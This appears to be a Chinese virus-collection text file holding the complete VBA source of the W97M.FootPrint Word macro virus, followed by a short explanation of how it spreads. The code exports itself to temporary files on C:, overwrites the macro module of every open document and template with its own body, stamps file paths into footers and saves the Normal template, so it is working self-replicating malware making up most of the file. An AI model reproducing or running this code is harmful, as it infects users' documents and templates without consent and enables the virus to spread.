w97m.footprint宏病毒代码 .txt

病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码

Option Explicit
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$
"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    If Not adoc.CustomDocumentProperties("FootPrint1") Then
        adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:
=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOf
Lines
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1
, CoL
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "
c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint1") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:
=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOf
Lines
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1
, CoL
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "
c:\footprint.$$1"
    End If
Next
NormalTemplate.Save
End Sub

关于W97M_FOOTPRINT的说明：
    这个宏病毒危害不大，只不过自动将页面加上页眉。它与很多其他病毒的不同之处
在于传播方式，该病毒在C盘建立两个临时文件FOOTPRINT.$$$和FOOTPRINT.$$1。通过
导出函数将病毒体复制到临时文件，删除导出注释后加入正常文档和模板中。使用的复制
语句：ADDFROMFILE
普通病毒将病毒体直接复制到模板。使用整个宏的复制语句比如MACROCOPY、
ORGANIZERCOPY等。
    病毒体存放位置：文档的MICROSOFT WORD 对象中的宏代码存放区。